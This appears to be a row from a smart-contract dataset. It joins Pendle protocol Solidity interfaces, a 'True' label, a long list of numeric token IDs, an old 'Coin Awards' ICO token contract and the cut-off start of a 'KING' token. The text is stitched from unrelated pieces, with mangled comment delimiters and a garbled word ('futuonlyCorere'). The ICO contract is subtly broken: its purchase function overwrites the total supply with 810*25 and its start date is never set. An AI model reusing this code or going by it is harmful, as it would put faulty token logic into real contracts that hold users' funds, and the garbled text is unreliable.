Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT / * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE / pragma solidity 0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IWETH is IERC20 { function deposit() external payable; function withdraw(uint256 wad) external; } // SPDX-License-Identifier: MIT / * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE / pragma solidity 0.7.6; import "./IPendleRouter.sol"; import "./IPendleYieldToken.sol"; import "./IPendlePausingManager.sol"; import "./IPendleMarket.sol"; interface IPendleData { /* * @notice Emitted when validity of a forge-factory pair is updated * @param _forgeId the forge id * @param _marketFactoryId the market factory id * @param _valid valid or not / event ForgeFactoryValiditySet(bytes32 _forgeId, bytes32 _marketFactoryId, bool _valid); / * @notice Emitted when Pendle and PendleFactory addresses have been updated. * @param treasury The address of the new treasury contract. / event TreasurySet(address treasury); / * @notice Emitted when LockParams is changed / event LockParamsSet(uint256 lockNumerator, uint256 lockDenominator); / * @notice Emitted when ExpiryDivisor is changed / event ExpiryDivisorSet(uint256 expiryDivisor); / * @notice Emitted when forge fee is changed / event ForgeFeeSet(uint256 forgeFee); / * @notice Emitted when interestUpdateRateDeltaForMarket is changed * @param interestUpdateRateDeltaForMarket new interestUpdateRateDeltaForMarket setting / event InterestUpdateRateDeltaForMarketSet(uint256 interestUpdateRateDeltaForMarket); / * @notice Emitted when market fees are changed * @param _swapFee new swapFee setting * @param _protocolSwapFee new protocolSwapFee setting / event MarketFeesSet(uint256 _swapFee, uint256 _protocolSwapFee); / * @notice Emitted when the curve shift block delta is changed * @param _blockDelta new block delta setting / event CurveShiftBlockDeltaSet(uint256 _blockDelta); / * @dev Emitted when new forge is added * @param marketFactoryId Human Readable Market Factory ID in Bytes * @param marketFactoryAddress The Market Factory Address / event NewMarketFactory(bytes32 indexed marketFactoryId, address indexed marketFactoryAddress); /* * @notice Set/update validity of a forge-factory pair * @param _forgeId the forge id * @param _marketFactoryId the market factory id * @param _valid valid or not / function setForgeFactoryValidity( bytes32 _forgeId, bytes32 _marketFactoryId, bool _valid ) external; / * @notice Sets the PendleTreasury contract addresses. * @param newTreasury Address of new treasury contract. / function setTreasury(address newTreasury) external; / * @notice Gets a reference to the PendleRouter contract. * @return Returns the router contract reference. / function router() external view returns (IPendleRouter); / * @notice Gets a reference to the PendleRouter contract. * @return Returns the router contract reference. / function pausingManager() external view returns (IPendlePausingManager); / * @notice Gets the treasury contract address where fees are being sent to. * @return Address of the treasury contract. / function treasury() external view returns (address); /********* * FORGE * *********/ / * @notice Emitted when a forge for a protocol is added. * @param forgeId Forge and protocol identifier. * @param forgeAddress The address of the added forge. / event ForgeAdded(bytes32 indexed forgeId, address indexed forgeAddress); / * @notice Adds a new forge for a protocol. * @param forgeId Forge and protocol identifier. * @param forgeAddress The address of the added forge. / function addForge(bytes32 forgeId, address forgeAddress) external; / * @notice Store new OT and XYT details. * @param forgeId Forge and protocol identifier. * @param ot The address of the new XYT. * @param xyt The address of the new XYT. * @param underlyingAsset Token address of the underlying asset. * @param expiry Yield contract expiry in epoch time. / function storeTokens( bytes32 forgeId, address ot, address xyt, address underlyingAsset, uint256 expiry ) external; / * @notice Set a new forge fee * @param _forgeFee new forge fee / function setForgeFee(uint256 _forgeFee) external; / * @notice Gets the OT and XYT tokens. * @param forgeId Forge and protocol identifier. * @param underlyingYieldToken Token address of the underlying yield token. * @param expiry Yield contract expiry in epoch time. * @return ot The OT token references. * @return xyt The XYT token references. / function getPendleYieldTokens( bytes32 forgeId, address underlyingYieldToken, uint256 expiry ) external view returns (IPendleYieldToken ot, IPendleYieldToken xyt); / * @notice Gets a forge given the identifier. * @param forgeId Forge and protocol identifier. * @return forgeAddress Returns the forge address. / function getForgeAddress(bytes32 forgeId) external view returns (address forgeAddress); / * @notice Checks if an XYT token is valid. * @param forgeId The forgeId of the forge. * @param underlyingAsset Token address of the underlying asset. * @param expiry Yield contract expiry in epoch time. * @return True if valid, false otherwise. / function isValidXYT( bytes32 forgeId, address underlyingAsset, uint256 expiry ) external view returns (bool); / * @notice Checks if an OT token is valid. * @param forgeId The forgeId of the forge. * @param underlyingAsset Token address of the underlying asset. * @param expiry Yield contract expiry in epoch time. * @return True if valid, false otherwise. / function isValidOT( bytes32 forgeId, address underlyingAsset, uint256 expiry ) external view returns (bool); function validForgeFactoryPair(bytes32 _forgeId, bytes32 _marketFactoryId) external view returns (bool); / * @notice Gets a reference to a specific OT. * @param forgeId Forge and protocol identifier. * @param underlyingYieldToken Token address of the underlying yield token. * @param expiry Yield contract expiry in epoch time. * @return ot Returns the reference to an OT. / function otTokens( bytes32 forgeId, address underlyingYieldToken, uint256 expiry ) external view returns (IPendleYieldToken ot); / * @notice Gets a reference to a specific XYT. * @param forgeId Forge and protocol identifier. * @param underlyingAsset Token address of the underlying asset * @param expiry Yield contract expiry in epoch time. * @return xyt Returns the reference to an XYT. / function xytTokens( bytes32 forgeId, address underlyingAsset, uint256 expiry ) external view returns (IPendleYieldToken xyt); /********* * MARKET * *********/ event MarketPairAdded(address indexed market, address indexed xyt, address indexed token); function addMarketFactory(bytes32 marketFactoryId, address marketFactoryAddress) external; function isMarket(address _addr) external view returns (bool result); function isXyt(address _addr) external view returns (bool result); function addMarket( bytes32 marketFactoryId, address xyt, address token, address market ) external; function setMarketFees(uint256 _swapFee, uint256 _protocolSwapFee) external; function setInterestUpdateRateDeltaForMarket(uint256 _interestUpdateRateDeltaForMarket) external; function setLockParams(uint256 _lockNumerator, uint256 _lockDenominator) external; function setExpiryDivisor(uint256 _expiryDivisor) external; function setCurveShiftBlockDelta(uint256 _blockDelta) external; / * @notice Displays the number of markets currently existing. * @return Returns markets length, / function allMarketsLength() external view returns (uint256); function forgeFee() external view returns (uint256); function interestUpdateRateDeltaForMarket() external view returns (uint256); function expiryDivisor() external view returns (uint256); function lockNumerator() external view returns (uint256); function lockDenominator() external view returns (uint256); function swapFee() external view returns (uint256); function protocolSwapFee() external view returns (uint256); function curveShiftBlockDelta() external view returns (uint256); function getMarketByIndex(uint256 index) external view returns (address market); / * @notice Gets a market given a future yield token and an ERC20 token. * @param xyt Token address of the future yield token as base asset. * @param token Token address of an ERC20 token as quote asset. * @return market Returns the market address. / function getMarket( bytes32 marketFactoryId, address xyt, address token ) external view returns (address market); / * @notice Gets a market factory given the identifier. * @param marketFactoryId MarketFactory identifier. * @return marketFactoryAddress Returns the factory address. */ function getMarketFactoryAddress(bytes32 marketFactoryId) external view returns (address marketFactoryAddress); function getMarketFromKey( address xyt, address token, bytes32 marketFactoryId ) external view returns (address market); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity 0.7.6; struct TokenReserve { uint256 weight; uint256 balance; } struct PendingTransfer { uint256 amount; bool isOut; } // SPDX-License-Identifier: MIT / * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE / pragma solidity 0.7.6; import "./IPendleRouter.sol"; interface IPendleMarketFactory { /* * @notice Creates a market given a protocol ID, future yield token, and an ERC20 token. * @param xyt Token address of the futuonlyCorere yield token as base asset. * @param token Token address of an ERC20 token as quote asset. * @return market Returns the address of the newly created market. / function createMarket(address xyt, address token) external returns (address market); / * @notice Gets a reference to the PendleRouter contract. * @return Returns the router contract reference. */ function router() external view returns (IPendleRouter); function marketFactoryId() external view returns (bytes32); } // SPDX-License-Identifier: MIT / * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE / pragma solidity 0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./IPendleBaseToken.sol"; import "./IPendleForge.sol"; interface IPendleYieldToken is IERC20, IPendleBaseToken { /* * @notice Emitted when burning OT or XYT tokens. * @param user The address performing the burn. * @param amount The amount to be burned. / event Burn(address indexed user, uint256 amount); / * @notice Emitted when minting OT or XYT tokens. * @param user The address performing the mint. * @param amount The amount to be minted. / event Mint(address indexed user, uint256 amount); / * @notice Burns OT or XYT tokens from user, reducing the total supply. * @param user The address performing the burn. * @param amount The amount to be burned. / function burn(address user, uint256 amount) external; / * @notice Mints new OT or XYT tokens for user, increasing the total supply. * @param user The address to send the minted tokens. * @param amount The amount to be minted. / function mint(address user, uint256 amount) external; / * @notice Gets the forge address of the PendleForge contract for this yield token. * @return Retuns the forge address. / function forge() external view returns (IPendleForge); / * @notice Returns the address of the underlying asset. * @return Returns the underlying asset address. / function underlyingAsset() external view returns (address); / * @notice Returns the address of the underlying yield token. * @return Returns the underlying yield token address. / function underlyingYieldToken() external view returns (address); / * @notice let the router approve itself to spend OT/XYT/LP from any wallet * @param user user to approve */ function approveRouter(address user) external; } // SPDX-License-Identifier: MIT / * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE / pragma solidity 0.7.6; interface IPendlePausingManager { event AddPausingAdmin(address admin); event RemovePausingAdmin(address admin); event PendingForgeEmergencyHandler(address _pendingForgeHandler); event PendingMarketEmergencyHandler(address _pendingMarketHandler); event PendingLiqMiningEmergencyHandler(address _pendingLiqMiningHandler); event ForgeEmergencyHandlerSet(address forgeEmergencyHandler); event MarketEmergencyHandlerSet(address marketEmergencyHandler); event LiqMiningEmergencyHandlerSet(address liqMiningEmergencyHandler); event PausingManagerLocked(); event ForgeHandlerLocked(); event MarketHandlerLocked(); event LiqMiningHandlerLocked(); event SetForgePaused(bytes32 forgeId, bool settingToPaused); event SetForgeAssetPaused(bytes32 forgeId, address underlyingAsset, bool settingToPaused); event SetForgeAssetExpiryPaused( bytes32 forgeId, address underlyingAsset, uint256 expiry, bool settingToPaused ); event SetForgeLocked(bytes32 forgeId); event SetForgeAssetLocked(bytes32 forgeId, address underlyingAsset); event SetForgeAssetExpiryLocked(bytes32 forgeId, address underlyingAsset, uint256 expiry); event SetMarketFactoryPaused(bytes32 marketFactoryId, bool settingToPaused); event SetMarketPaused(bytes32 marketFactoryId, address market, bool settingToPaused); event SetMarketFactoryLocked(bytes32 marketFactoryId); event SetMarketLocked(bytes32 marketFactoryId, address market); event SetLiqMiningPaused(address liqMiningContract, bool settingToPaused); event SetLiqMiningLocked(address liqMiningContract); function forgeEmergencyHandler() external view returns ( address handler, address pendingHandler, uint256 timelockDeadline ); function marketEmergencyHandler() external view returns ( address handler, address pendingHandler, uint256 timelockDeadline ); function liqMiningEmergencyHandler() external view returns ( address handler, address pendingHandler, uint256 timelockDeadline ); function permLocked() external view returns (bool); function permForgeHandlerLocked() external view returns (bool); function permMarketHandlerLocked() external view returns (bool); function permLiqMiningHandlerLocked() external view returns (bool); function isPausingAdmin(address) external view returns (bool); function setPausingAdmin(address admin, bool isAdmin) external; function requestForgeHandlerChange(address _pendingForgeHandler) external; function requestMarketHandlerChange(address _pendingMarketHandler) external; function requestLiqMiningHandlerChange(address _pendingLiqMiningHandler) external; function applyForgeHandlerChange() external; function applyMarketHandlerChange() external; function applyLiqMiningHandlerChange() external; function lockPausingManagerPermanently() external; function lockForgeHandlerPermanently() external; function lockMarketHandlerPermanently() external; function lockLiqMiningHandlerPermanently() external; function setForgePaused(bytes32 forgeId, bool paused) external; function setForgeAssetPaused( bytes32 forgeId, address underlyingAsset, bool paused ) external; function setForgeAssetExpiryPaused( bytes32 forgeId, address underlyingAsset, uint256 expiry, bool paused ) external; function setForgeLocked(bytes32 forgeId) external; function setForgeAssetLocked(bytes32 forgeId, address underlyingAsset) external; function setForgeAssetExpiryLocked( bytes32 forgeId, address underlyingAsset, uint256 expiry ) external; function checkYieldContractStatus( bytes32 forgeId, address underlyingAsset, uint256 expiry ) external returns (bool _paused, bool _locked); function setMarketFactoryPaused(bytes32 marketFactoryId, bool paused) external; function setMarketPaused( bytes32 marketFactoryId, address market, bool paused ) external; function setMarketFactoryLocked(bytes32 marketFactoryId) external; function setMarketLocked(bytes32 marketFactoryId, address market) external; function checkMarketStatus(bytes32 marketFactoryId, address market) external returns (bool _paused, bool _locked); function setLiqMiningPaused(address liqMiningContract, bool settingToPaused) external; function setLiqMiningLocked(address liqMiningContract) external; function checkLiqMiningStatus(address liqMiningContract) external returns (bool _paused, bool _locked); } // SPDX-License-Identifier: MIT / * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE / pragma solidity 0.7.6; pragma abicoder v2; import "./IPendleRouter.sol"; import "./IPendleBaseToken.sol"; import "../libraries/PendleStructs.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IPendleMarket is IERC20 { /* * @notice Emitted when reserves pool has been updated * @param reserve0 The XYT reserves. * @param weight0 The XYT weight * @param reserve1 The generic token reserves. * For the generic Token weight it can be inferred by (2^40) - weight0 */ event Sync(uint256 reserve0, uint256 weight0, uint256 reserve1); function setUpEmergencyMode(address spender) external; function bootstrap( address user, uint256 initialXytLiquidity, uint256 initialTokenLiquidity ) external returns (PendingTransfer[2] memory transfers, uint256 exactOutLp); function addMarketLiquiditySingle( address user, address inToken, uint256 inAmount, uint256 minOutLp ) external returns (PendingTransfer[2] memory transfers, uint256 exactOutLp); function addMarketLiquidityDual( address user, uint256 _desiredXytAmount, uint256 _desiredTokenAmount, uint256 _xytMinAmount, uint256 _tokenMinAmount ) external returns (PendingTransfer[2] memory transfers, uint256 lpOut); function removeMarketLiquidityDual( address user, uint256 inLp, uint256 minOutXyt, uint256 minOutToken ) external returns (PendingTransfer[2] memory transfers); function removeMarketLiquiditySingle( address user, address outToken, uint256 exactInLp, uint256 minOutToken ) external returns (PendingTransfer[2] memory transfers); function swapExactIn( address inToken, uint256 inAmount, address outToken, uint256 minOutAmount ) external returns (uint256 outAmount, PendingTransfer[2] memory transfers); function swapExactOut( address inToken, uint256 maxInAmount, address outToken, uint256 outAmount ) external returns (uint256 inAmount, PendingTransfer[2] memory transfers); function redeemLpInterests(address user) external returns (uint256 interests); function getReserves() external view returns ( uint256 xytBalance, uint256 xytWeight, uint256 tokenBalance, uint256 tokenWeight, uint256 currentBlock ); function factoryId() external view returns (bytes32); function token() external view returns (address); function xyt() external view returns (address); } // SPDX-License-Identifier: MIT / * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE / pragma solidity 0.7.6; interface IPendleRewardManager { event UpdateFrequencySet(address[], uint256[]); event SkippingRewardsSet(bool); event DueRewardsSettled( bytes32 forgeId, address underlyingAsset, uint256 expiry, uint256 amountOut, address user ); function redeemRewards( address _underlyingAsset, uint256 _expiry, address _user ) external returns (uint256 dueRewards); function updatePendingRewards( address _underlyingAsset, uint256 _expiry, address _user ) external; function updateParamLManual(address _underlyingAsset, uint256 _expiry) external; function setUpdateFrequency( address[] calldata underlyingAssets, uint256[] calldata frequencies ) external; function setSkippingRewards(bool skippingRewards) external; function forgeId() external returns (bytes32); } // SPDX-License-Identifier: MIT / * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity 0.7.6; interface IPendleYieldContractDeployer { function forgeId() external returns (bytes32); function forgeOwnershipToken( address _underlyingAsset, string memory _name, string memory _symbol, uint8 _decimals, uint256 _expiry ) external returns (address ot); function forgeFutureYieldToken( address _underlyingAsset, string memory _name, string memory _symbol, uint8 _decimals, uint256 _expiry ) external returns (address xyt); function deployYieldTokenHolder(address yieldToken, uint256 expiry) external returns (address yieldTokenHolder); }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 3902, 2140, 1011, 1015, 1012, 1015, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1020, 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1013, 1008, 1008, 1008, 1030, 16475, 7641, 27178, 2030, 1060, 22123, 19204, 2015, 2013, 5310, 1010, 8161, 1996, 2561, 4425, 1012, 1008, 1030, 11498, 2213, 5310, 1996, 4769, 4488, 1996, 6402, 1012, 1008, 1030, 11498, 2213, 3815, 1996, 3815, 2000, 2022, 5296, 1012, 1008, 1008, 1013, 3853, 6402, 1006, 4769, 5310, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 2270, 2058, 15637, 2069, 29278, 3351, 1063, 1035, 6402, 1006, 5310, 1010, 3815, 1007, 1025, 12495, 2102, 6402, 1006, 5310, 1010, 3815, 1007, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 12927, 2015, 2047, 27178, 2030, 1060, 22123, 19204, 2015, 2005, 5310, 1010, 4852, 1996, 2561, 4425, 1012, 1008, 1030, 11498, 2213, 5310, 1996, 4769, 2000, 4604, 1996, 12927, 2098, 19204, 2015, 1012, 1008, 1030, 11498, 2213, 3815, 1996, 3815, 2000, 2022, 12927, 2098, 1012, 1008, 1008, 1013, 3853, 12927, 1006, 4769, 5310, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 2270, 2058, 15637, 2069, 29278, 3351, 1063, 1035, 12927, 1006, 5310, 1010, 3815, 1007, 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pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // 'coinvey' token contract // // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 \|\| c / a == b); } function safeDiv(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract Coinvey is ERC20Interface, Owned, SafeMath { bool public purchasingAllowed = false; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public startDate; uint public bonusEnds; uint public endDate; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "CAWA"; name = "Coin Awards"; decimals = 18; _totalSupply = 8 * 10 ** 25; balances[msg.sender] = 0.8 * 10 ** 25; // Team Reserve bonusEnds = now + 1 days; // First Day Bonus endDate = now + 2 weeks; // ICO Ending Date } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // purchasingAllowed function enablePurchasing() { if (msg.sender != owner) { throw; } purchasingAllowed = true; } function disablePurchasing() { if (msg.sender != owner) { throw; } purchasingAllowed = false; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // CROWDFUNDING INFORMATION // ------------------------------------------------------------------------ function () public payable { if (!purchasingAllowed) { throw; } require(now >= startDate && now <= endDate); uint tokens; if (now <= bonusEnds) { tokens = msg.value * 25741; } else { tokens = msg.value * 25641; } balances[msg.sender] = safeAdd(balances[msg.sender], tokens); _totalSupply = 810*25; Transfer(address(0), msg.sender, tokens); owner.transfer(msg.value); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); 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/** KING KING 5% dev 6% marketing 2% liq / // SPDX-License-Identifier: Unlicensed pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return 